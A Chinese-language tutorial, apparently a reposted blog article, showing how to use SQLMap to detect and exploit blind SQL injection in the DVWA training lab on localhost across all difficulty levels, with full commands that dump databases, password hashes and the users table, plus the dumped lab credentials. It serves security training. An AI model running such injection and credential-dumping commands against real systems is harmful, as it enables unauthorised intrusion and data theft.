前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析>
通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程,本文则利用自动化的工具SQLMap对SQL Injection(Blind)进行漏洞检测和数据获取。
手工 VS 自动化:
①手工测试有助于理解整个注入漏洞的利用过程,可以加深技能印象
②自动化工具所检测的效率相对较高,而且覆盖的全面性更高,数据获取的广度和深度也可以得到更好的发挥
利用SQLMap自动化工具的检测流程大致如下:
1.判断是否存在注入点、注入类型
2.获取DBMS中所有的数据库名称
3.获取Web应用当前连接的数据库
4.列出数据库中的所有用户
5.获取Web应用当前所操作的用户
6.列出可连接数据库的所有账户-对应的密码哈希
7.列出指定数据库中的所有数据表
8.列出指定数据表中的所有字段(列)
9.导出指定数据表中的列字段进行保存
10.根据导出的数据,验证数据有效性
利用SQLMap工具操作,本文暂不作太过详细的去拆分细节点,各个等级的服务端代码在此也不作重复展示。
以下构造SQLMap所需的测试命令时,所需用到的工具还有:浏览器自带的F12查看Request/Response/cookie、Fiddler抓取url/cookie等、Burp拦截url/cookie等数据...
因注入测试是在保持浏览器账户登录状态的前提下进行的,过程中需要保持登录不退出账户,操作命令中需要带上登录账户的cookie信息--cookie="xxx"
;若过程中有退出了账户,则需要重新登录账户,并重新获取cookie信息,以在SQLMap操作命令中及时更新cookie内容。
【A】Level:Low
构造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch
执行结果:
构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --dbs
执行结果:
构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-db
执行结果:
构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --users
执行结果:
构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-user
执行结果:
构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --passwords
执行结果:
构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa --tables
执行结果:
构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users --columns
执行结果:
构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users -C "user,password" --dump
执行结果:
user | password |
---|---|
1337 | charley |
admin | password |
gordonb | abc123 |
pablo | letmein |
smithy | password |
从以上导出的user---password组合中任取一组,回到前端登录界面进行验证
登录界面:http://localhost:8001/dvwa/login.php
用户密码:pablo---letmein
【B】Level:Medium
Low等级提交的数据是通过GET请求方式,直接在浏览器url中传递参数;而Medium等级,所提交的User ID数据是通过POST请求方式,参数是在POST请求体中传递。
此时,构造SQLMap操作命令,则需要将url和data分成两部分分别填写,同时需要更新cookie信息的取值,如下:
构造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch
执行结果:
构造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -dbs
执行结果:
......
获取数据库其他数据的过程,暂且不继续往下展示,和Low级别相似。确保SQLMap操作命令中的url、data分离,cookie信息更新为对应等级的cookie值,以及保持账户登录状态时进行操作即可。
【C】Level:High
--second-order="xxxurl"
(设置二阶响应的结果显示页面的url),具体的操作命令可参看==>SQLMap工具使用选项的操作命令&功能
构造命令:
python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-order="http://localhost/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=kpmkm3kphj5cccf7ub43c8e7l4" --batch
执行结果:
【D】Level:Impossible
可以尝试构造SQLMap命令进行检测:
python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit&user_token=b95d5f0bb28c4ecd6418c6deed57b4bf#" --cookie="security=impossible; security=impossible; PHPSESSID=p78fd4dlnor8qsrjck9ivg3hj0" --batch
暂未发现注入漏洞
Impossible级别的SQL Injection(Blind):
作者:Fighting_001
链接:https://www.jianshu.com/p/ec2ca79e74b2
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
(十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
原文:https://www.cnblogs.com/uestc2007/p/11771866.html